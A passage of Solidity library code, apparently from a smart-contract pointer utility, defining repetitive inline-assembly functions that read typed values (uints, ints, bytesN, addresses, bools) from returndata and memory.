) internal pure returns (uint8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint16 at `rdPtr` in returndata.\n function readUint16(\n ReturndataPointer rdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint24 at `rdPtr` in returndata.\n function readUint24(\n ReturndataPointer rdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint32 at `rdPtr` in returndata.\n function readUint32(\n ReturndataPointer rdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint40 at `rdPtr` in returndata.\n function readUint40(\n ReturndataPointer rdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint48 at `rdPtr` in returndata.\n function readUint48(\n ReturndataPointer rdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint56 at `rdPtr` in returndata.\n function readUint56(\n ReturndataPointer rdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint64 at `rdPtr` in returndata.\n function readUint64(\n ReturndataPointer rdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint72 at `rdPtr` in returndata.\n function readUint72(\n ReturndataPointer rdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint80 at `rdPtr` in returndata.\n function readUint80(\n ReturndataPointer rdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint88 at `rdPtr` in returndata.\n function readUint88(\n ReturndataPointer rdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint96 at `rdPtr` in returndata.\n function readUint96(\n ReturndataPointer rdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint104 at `rdPtr` in returndata.\n function readUint104(\n ReturndataPointer rdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint112 at `rdPtr` in returndata.\n function readUint112(\n ReturndataPointer rdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint120 at `rdPtr` in returndata.\n function readUint120(\n ReturndataPointer rdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint128 at `rdPtr` in returndata.\n function readUint128(\n ReturndataPointer rdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint136 at `rdPtr` in returndata.\n function readUint136(\n ReturndataPointer rdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint144 at `rdPtr` in returndata.\n function readUint144(\n ReturndataPointer rdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint152 at `rdPtr` in returndata.\n function readUint152(\n ReturndataPointer rdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint160 at `rdPtr` in returndata.\n function readUint160(\n ReturndataPointer rdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint168 at `rdPtr` in returndata.\n function readUint168(\n ReturndataPointer rdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint176 at `rdPtr` in returndata.\n function readUint176(\n ReturndataPointer rdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint184 at `rdPtr` in returndata.\n function readUint184(\n ReturndataPointer rdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint192 at `rdPtr` in returndata.\n function readUint192(\n ReturndataPointer rdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint200 at `rdPtr` in returndata.\n function readUint200(\n ReturndataPointer rdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint208 at `rdPtr` in returndata.\n function readUint208(\n ReturndataPointer rdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint216 at `rdPtr` in returndata.\n function readUint216(\n ReturndataPointer rdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint224 at `rdPtr` in returndata.\n function readUint224(\n ReturndataPointer rdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint232 at `rdPtr` in returndata.\n function readUint232(\n ReturndataPointer rdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint240 at `rdPtr` in returndata.\n function readUint240(\n ReturndataPointer rdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint248 at `rdPtr` in returndata.\n function readUint248(\n ReturndataPointer rdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint256 at `rdPtr` in returndata.\n function readUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int8 at `rdPtr` in returndata.\n function readInt8(\n ReturndataPointer rdPtr\n ) internal pure returns (int8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int16 at `rdPtr` in returndata.\n function readInt16(\n ReturndataPointer rdPtr\n ) internal pure returns (int16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int24 at `rdPtr` in returndata.\n function readInt24(\n ReturndataPointer rdPtr\n ) internal pure returns (int24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int32 at `rdPtr` in returndata.\n function readInt32(\n ReturndataPointer rdPtr\n ) internal pure returns (int32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int40 at `rdPtr` in returndata.\n function readInt40(\n ReturndataPointer rdPtr\n ) internal pure returns (int40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int48 at `rdPtr` in returndata.\n function readInt48(\n ReturndataPointer rdPtr\n ) internal pure returns (int48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int56 at `rdPtr` in returndata.\n function readInt56(\n ReturndataPointer rdPtr\n ) internal pure returns (int56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int64 at `rdPtr` in returndata.\n function readInt64(\n ReturndataPointer rdPtr\n ) internal pure returns (int64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int72 at `rdPtr` in returndata.\n function readInt72(\n ReturndataPointer rdPtr\n ) internal pure returns (int72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int80 at `rdPtr` in returndata.\n function readInt80(\n ReturndataPointer rdPtr\n ) internal pure returns (int80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int88 at `rdPtr` in returndata.\n function readInt88(\n ReturndataPointer rdPtr\n ) internal pure returns (int88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int96 at `rdPtr` in returndata.\n function readInt96(\n ReturndataPointer rdPtr\n ) internal pure returns (int96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int104 at `rdPtr` in returndata.\n function readInt104(\n ReturndataPointer rdPtr\n ) internal pure returns (int104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int112 at `rdPtr` in returndata.\n function readInt112(\n ReturndataPointer rdPtr\n ) internal pure returns (int112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int120 at `rdPtr` in returndata.\n function readInt120(\n ReturndataPointer rdPtr\n ) internal pure returns (int120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int128 at `rdPtr` in returndata.\n function readInt128(\n ReturndataPointer rdPtr\n ) internal pure returns (int128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int136 at `rdPtr` in returndata.\n function readInt136(\n ReturndataPointer rdPtr\n ) internal pure returns (int136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int144 at `rdPtr` in returndata.\n function readInt144(\n ReturndataPointer rdPtr\n ) internal pure returns (int144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int152 at `rdPtr` in returndata.\n function readInt152(\n ReturndataPointer rdPtr\n ) internal pure returns (int152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int160 at `rdPtr` in returndata.\n function readInt160(\n ReturndataPointer rdPtr\n ) internal pure returns (int160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int168 at `rdPtr` in returndata.\n function readInt168(\n ReturndataPointer rdPtr\n ) internal pure returns (int168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int176 at `rdPtr` in returndata.\n function readInt176(\n ReturndataPointer rdPtr\n ) internal pure returns (int176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int184 at `rdPtr` in returndata.\n function readInt184(\n ReturndataPointer rdPtr\n ) internal pure returns (int184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int192 at `rdPtr` in returndata.\n function readInt192(\n ReturndataPointer rdPtr\n ) internal pure returns (int192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int200 at `rdPtr` in returndata.\n function readInt200(\n ReturndataPointer rdPtr\n ) internal pure returns (int200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int208 at `rdPtr` in returndata.\n function readInt208(\n ReturndataPointer rdPtr\n ) internal pure returns (int208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int216 at `rdPtr` in returndata.\n function readInt216(\n ReturndataPointer rdPtr\n ) internal pure returns (int216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int224 at `rdPtr` in returndata.\n function readInt224(\n ReturndataPointer rdPtr\n ) internal pure returns (int224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int232 at `rdPtr` in returndata.\n function readInt232(\n ReturndataPointer rdPtr\n ) internal pure returns (int232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int240 at `rdPtr` in returndata.\n function readInt240(\n ReturndataPointer rdPtr\n ) internal pure returns (int240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int248 at `rdPtr` in returndata.\n function readInt248(\n ReturndataPointer rdPtr\n ) internal pure returns (int248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int256 at `rdPtr` in returndata.\n function readInt256(\n ReturndataPointer rdPtr\n ) internal pure returns (int256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n}\n\nlibrary MemoryReaders {\n /// @dev Reads the memory pointer at `mPtr` in memory.\n function readMemoryPointer(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads value at `mPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n value = mPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `mPtr` in memory.\n function readBool(MemoryPointer mPtr) internal pure returns (bool value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the address at `mPtr` in memory.\n function readAddress(\n MemoryPointer mPtr\n ) internal pure returns (address value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `mPtr` in memory.\n function readBytes1(\n MemoryPointer mPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `mPtr` in memory.\n function readBytes2(\n MemoryPointer mPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `mPtr` in memory.\n function readBytes3(\n MemoryPointer mPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `mPtr` in memory.\n function readBytes4(\n MemoryPointer mPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `mPtr` in memory.\n function readBytes5(\n MemoryPointer mPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `mPtr` in memory.\n function readBytes6(\n MemoryPointer mPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `mPtr` in memory.\n function readBytes7(\n MemoryPointer mPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `mPtr` in memory.\n function readBytes8(\n MemoryPointer mPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `mPtr` in memory.\n function readBytes9(\n MemoryPointer mPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `mPtr` in memory.\n function readBytes10(\n MemoryPointer mPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `mPtr` in memory.\n function readBytes11(\n MemoryPointer mPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `mPtr` in memory.\n function readBytes12(\n MemoryPointer mPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `mPtr` in memory.\n function readBytes13(\n MemoryPointer mPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `mPtr` in memory.\n function readBytes14(\n MemoryPointer mPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `mPtr` in memory.\n function readBytes15(\n MemoryPointer mPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `mPtr` in memory.\n function readBytes16(\n MemoryPointer mPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `mPtr` in memory.\n function readBytes17(\n MemoryPointer mPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `mPtr` in memory.\n function readBytes18(\n MemoryPointer mPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `mPtr` in memory.\n function readBytes19(\n MemoryPointer mPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `mPtr` in memory.\n function readBytes20(\n MemoryPointer mPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `mPtr` in memory.\n function readBytes21(\n MemoryPointer mPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `mPtr` in memory.\n function readBytes22(\n MemoryPointer mPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `mPtr` in memory.\n function readBytes23(\n MemoryPointer mPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `mPtr` in memory.\n function readBytes24(\n MemoryPointer mPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `mPtr` in memory.\n function readBytes25(\n MemoryPointer mPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `mPtr` in memory.\n function readBytes26(\n MemoryPointer mPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `mPtr` in memory.\n function readBytes27(\n MemoryPointer mPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `mPtr` in memory.\n function readBytes28(\n MemoryPointer mPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `mPtr` in memory.\n function readBytes29(\n MemoryPointer mPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `mPtr` in memory.\n function readBytes30(\n MemoryPointer mPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `mPtr` in memory.\n function readBytes31(\n MemoryPointer mPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `mPtr` in memory.\n function readBytes32(\n MemoryPointer mPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint8 at `mPtr` in memory.\n function readUint8(MemoryPointer mPtr) internal pure returns (uint8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint16 at `mPtr` in memory.\n function readUint16(\n MemoryPointer mPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint24 at `mPtr` in memory.\n function readUint24(\n MemoryPointer mPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint32 at `mPtr` in memory.\n function readUint32(\n MemoryPointer mPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint40 at `mPtr` in memory.\n function readUint40(\n MemoryPointer mPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint48 at `mPtr` in memory.\n function readUint48(\n MemoryPointer mPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint56 at `mPtr` in memory.\n function readUint56(\n MemoryPointer mPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint64 at `mPtr` in memory.\n function readUint64(\n MemoryPointer mPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint72 at `mPtr` in memory.\n function readUint72(\n MemoryPointer mPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint80 at `mPtr` in memory.\n function readUint80(\n MemoryPointer mPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint88 at `mPtr` in memory.\n function readUint88(\n MemoryPointer mPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint96 at `mPtr` in memory.\n function readUint96(\n MemoryPointer mPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint104 at `mPtr` in memory.\n function readUint104(\n MemoryPointer mPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint112 at `mPtr` in memory.\n function readUint112(\n MemoryPointer mPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint120 at `mPtr` in memory.\n function readUint120(\n MemoryPointer mPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint128 at `mPtr` in memory.\n function readUint128(\n MemoryPointer mPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint136 at `mPtr` in memory.\n function readUint136(\n MemoryPointer mPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint144 at `mPtr` in memory.\n function readUint144(\n MemoryPointer mPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint152 at `mPtr` in memory.\n function readUint152(\n MemoryPointer mPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint160 at `mPtr` in memory.\n function readUint160(\n MemoryPointer mPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint168 at `mPtr` in memory.\n function readUint168(\n MemoryPointer mPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint176 at `mPtr` in memory.\n function readUint176(\n MemoryPointer mPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint184 at `mPtr` in memory.\n function readUint184(\n MemoryPointer mPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint192 at `mPtr` in memory.\n function readUint192(\n MemoryPointer mPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint200 at `mPtr` in memory.\n function readUint200(\n MemoryPointer mPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint208 at `mPtr` in memory.\n function readUint208(\n MemoryPointer mPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint216 at `mPtr` in memory.\n function readUint216(\n MemoryPointer mPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint224 at `mPtr` in memory.\n function readUint224(\n MemoryPointer mPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint232 at `mPtr` in memory.\n function readUint232(\n MemoryPointer mPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint240 at `mPtr` in memory.\n function readUint240(\n MemoryPointer mPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint248 at `mPtr` in memory.\n function readUint248(\n MemoryPointer mPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint256 at `mPtr` in memory.\n function readUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int8 at `mPtr` in memory.\n function readInt8(MemoryPointer mPtr) internal pure returns (int8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int16 at `mPtr` in memory.\n function readInt16(MemoryPointer mPtr) internal pure returns (int16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int24 at `mPtr` in memory.\n function readInt24(MemoryPointer mPtr) internal pure returns (int24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int32 at `mPtr` in memory.\n function readInt32(MemoryPointer mPtr) internal pure returns (int32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int40 at `mPtr` in memory.\n function readInt40(MemoryPointer mPtr) internal pure returns (int40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int48 at `mPtr` in memory.\n function readInt48(MemoryPointer mPtr) internal pure returns (int48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int56 at `mPtr` in memory.\n function readInt56(MemoryPointer mPtr) internal pure returns (int56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int64 at `mPtr` in memory.\n function readInt64(MemoryPointer mPtr) internal pure returns (int64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int72 at `mPtr` in memory.\n function readInt72(MemoryPointer mPtr) internal pure returns (int72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int80 at `mPtr` in memory.\n function readInt80(MemoryPointer mPtr) internal pure returns (int80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int88 at `mPtr` in memory.\n function readInt88(MemoryPointer mPtr) internal pure returns (int88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int96 at `mPtr` in memory.\n function readInt96(MemoryPointer mPtr) internal pure returns (int96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int104 at `mPtr` in memory.\n function readInt104(\n MemoryPointer mPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int112 at `mPtr` in memory.\n function readInt112(\n MemoryPointer mPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int120 at `mPtr` in memory.\n function readInt120(\n MemoryPointer mPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int128 at `mPtr` in memory.\n function readInt128(\n MemoryPointer mPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int136 at `mPtr` in memory.\n function readInt136(\n MemoryPointer mPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := mload(mPtr)\n }\n 